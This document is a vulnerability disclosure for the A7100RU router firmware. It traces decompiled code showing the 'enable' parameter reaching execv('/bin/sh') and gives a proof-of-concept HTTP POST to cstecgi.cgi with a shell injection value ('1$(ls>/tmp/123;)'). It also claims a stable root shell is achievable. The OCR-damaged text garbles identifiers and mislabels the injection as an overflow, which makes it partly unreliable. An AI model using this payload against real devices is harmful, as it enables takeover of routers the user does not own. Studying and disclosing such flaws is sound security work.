

A7100RU		0	verview	Tech Specs	HD Image	Download	FAQ
NO	Name	Version		Updated		Downloa	ad
1	A7100RU_HD PHOTO	Ver1.0		2019-05-07		•	
2	A7100RU_Datasheet	Ver1.0		2020-08-07		\odot	
3	A7100RU_Firmware	V7.4cu.2313_B20191024		2020-08-09		①	
4	A7100RU_QIG	Ver1.0		2020-08-09		①	

Figure 1 shows the latest firmware Ba of the router

2. Vulnerability details

```
1int __fastcall sub_423CC0(int a1)
    2{
    3 int v2; // $s2
    4 int v3; // $fp
    5 int v4; // $s7
    6 int v5; // $s5
    7 int v6; // $v0
    8 int v7; // $s6
   9 int v8; // $a0
  10 int v9; // $s1
  11 int v11; // [sp+18h] [-8h]
  12 int v12; // [sp+1Ch] [-4h]
14 v2 = websGetVar(a1, "enable", "");

■ 15 v3 = websGetVar(a1, "sip", "");

15  v3 = wcbsdctvar(a1, "sip", "");
16  v4 = websGetVar(a1, "eip", "");
17  v5 = websGetVar(a1, "priDns", "");
18  v11 = websGetVar(a1, "secDns", "");
19  v7 = websGetVar(a1, "server", "");
10  v6 = websGetVar(a1, "mtu", "");
\bullet 21 v8 = a1;
\bullet 22 v9 = v6;
23 v12 = websGetVar(v8, "mru", "");
• 24 Uci_Set_Str(27, "12tpd", "enabled", v2);
0 25 1f ( ato1(v2) == 1 )
          Uci_Set_Str(27, "12tpd", "startip", v3);
```

The program passes the content obtained by enable to the V2 parameter, and then brings V2 into UCI_Set_STR function

```
184 else
185 v9 = "Unknown ID";
186 break;
187 }
188 snprintf(v11, 1024, "uci set -c %s %s.%s.%s=\"%s\"", v8, v9, a2, a3, a4);
189 CsteSystem(v11, 0);
190 return 1;
191}
```

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

```
// {
    v6[2] = (int)a1;
    v6[3] = 0;
    v6[0] = (int)&off_ABA4;
    v6[1] = (int)&off_ABA8;
    if ( a2 )
        printf("[system]: %s\r\n", a1);
    execv("/bin/sh", v6);
    exit(127);
    result = eval();
}
```

The function directly brings user input into the execv function, which has a command injection vulnerability

3. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V7.4cu.2313_B20191024
- 2. Attack with the following overflow POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
```

```
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close
{"topicurl":"setting/setParentalRules",
"enabled":"1$(ls>/tmp/123;)"}
```

The reproduction results are as follows:



Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

